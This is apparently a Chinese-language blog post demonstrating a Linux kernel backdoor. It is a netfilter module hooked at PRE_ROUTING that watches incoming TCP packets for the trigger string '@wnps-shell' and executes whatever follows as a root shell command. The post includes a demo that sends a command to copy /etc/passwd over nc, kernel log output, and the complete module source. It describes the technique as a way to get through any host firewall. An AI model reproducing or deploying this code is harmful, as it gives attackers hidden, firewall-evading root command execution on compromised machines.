前几天看了rwrk这个rk的demo, 它就是利用netfilter hook住了进入主机的数据包， hook点是NF_IP_PRE_ROUTING， 因此可以在进入iptables之前提前实现数据包的过滤。在这个hook点上作文章就比较多了， 可以实现防火墙， 嗅探器， 当然也可以用来触发回连后门， wnps就是这么来作的， 因此不管主机防火墙作的规则如何变态， 都有机会穿透它。下面这个demo用来演示分析tcp包的内容， 分析出里面的命令， 然后去执行它， 有点类似以前的icmp, ip包后门， 只不过这些都在内核来完成， 功能更强大。
demo在ubuntu8.10 + 2.6.28上测试成功。

wzt@wzt-laptop:~$ nc -vv localhost 22
localhost [127.0.0.1] 22 (ssh) open
SSH-2.0-OpenSSH_5.1p1 Debian-3ubuntu1
@wnps-shell:cat /etc/passwd > /home/wzt/pass.log
Protocol mismatch.
sent 49, rcvd 58

demsg:
[ 957.255416] kexec test start ...
[ 1029.692964] hook: function:hook_func-L125: got the tcp key .
[ 1029.692981] hook: function:hook_func-L127: cat /etc/passwd > /home/wzt/pass.log
[ 1029.692985]

wzt@wzt-laptop:~$ ls -lht pass.log
-rw-r--r-- 1 root root 1.7K 2009-06-04 08:08 pass.log

+---------------------------------------------------------------------+

C++代码
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/string.h>
#include <linux/kmod.h>
#include <linux/vmalloc.h>
#include <linux/workqueue.h>
#include <linux/spinlock.h>
#include <linux/socket.h>
#include <linux/net.h>
#include <linux/in.h>
#include <linux/skbuff.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/icmp.h>
#include <net/sock.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>

#define HOOK_DEBUG

#ifdef HOOK_DEBUG
#define DbgPrint(format, args...) \
printk("hook: function:%s-L%d: "format, __FUNCTION__, __LINE__, ##args);
#else
#define DbgPrint(format, args...) do {} while(0);
#endif

#define TCP_SHELL_KEY "@wnps-shell"

#define PORT_NUM 6
#define IP_NUM 20
#define BUFF_NUM 512

MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");

struct exec_work {
struct work_struct work;
char *cmd;
};

static struct nf_hook_ops nfho;

int kexec_user_app(void *data)
{
struct exec_work *work = data;
int ret;
char *argv[] = {"/bin/sh", "-c", work->cmd, NULL};
char *envp[] = { "HOME=/",
"TERM=linux",
"PATH=/sbin:/usr/sbin:/bin:/usr/bin",
NULL };
ret = call_usermodehelper(argv[0], argv, envp, 1);

return ret;
}

int execute_user_command(char *cmd)
{
struct exec_work *exec_work;

exec_work = kmalloc(sizeof(struct exec_work), GFP_ATOMIC);
exec_work->cmd = kmalloc(1024*sizeof(char), GFP_ATOMIC);

INIT_WORK(&exec_work->work, kexec_user_app);
strncpy(exec_work->cmd, cmd, strlen(cmd) + 1);

schedule_work(&exec_work->work);

return 0;
}

unsigned int hook_func(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)
struct sk_buff *sk = skb_copy(skb, 1);
#else
struct sk_buff *sk = *skb;
#endif
struct iphdr *ip;
struct tcphdr *tcphdr;
char buf[BUFF_NUM], *data = NULL;
char *p;

if (!sk)
return NF_ACCEPT;

#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)
ip = ip_hdr(sk);
#else
ip = sk->nh.iph;
#endif

switch (ip->protocol) {
case 1:
return NF_ACCEPT;

case 6:
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)
tcphdr = ip_hdr(sk);

tcphdr =
(struct tcphdr *)((void *)sk->data +
((struct iphdr *)sk->data)->ihl * 4);

data = (char *)((int *)tcphdr + (int)(tcphdr->doff));
#else
tcphdr = (struct tcphdr *)((__u32 *)ip + ip->ihl);

data = (char *)((int *)tcphdr + (int)(tcphdr->doff));
#endif

/*
* filter the connected tcp packet
*/
if ((p = strstr(data, TCP_SHELL_KEY)) != NULL) {
DbgPrint("got the tcp key .\n");
p += strlen(TCP_SHELL_KEY) + 1;
DbgPrint("%s\n", p);
execute_user_command(p);
goto out;
}

out:
memset(buf, '\0', BUFF_NUM);

return NF_ACCEPT;

default:
return NF_ACCEPT;
}
}

static int kexec_test_init(void)
{
printk("kexec test start ...\n");

nfho.hook = hook_func;
nfho.owner = NULL;
nfho.pf = PF_INET;

#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)
nfho.hooknum = NF_INET_PRE_ROUTING;
#else
nfho.hooknum = NF_IP_PRE_ROUTING;
#endif

nfho.priority = NF_IP_PRI_FIRST;

nf_register_hook(&nfho);

return 0;
}

static void kexec_test_exit(void)
{
printk("kexec test exit ...\n");
nf_unregister_hook(&nfho);
}

module_init(kexec_test_init);
module_exit(kexec_test_exit);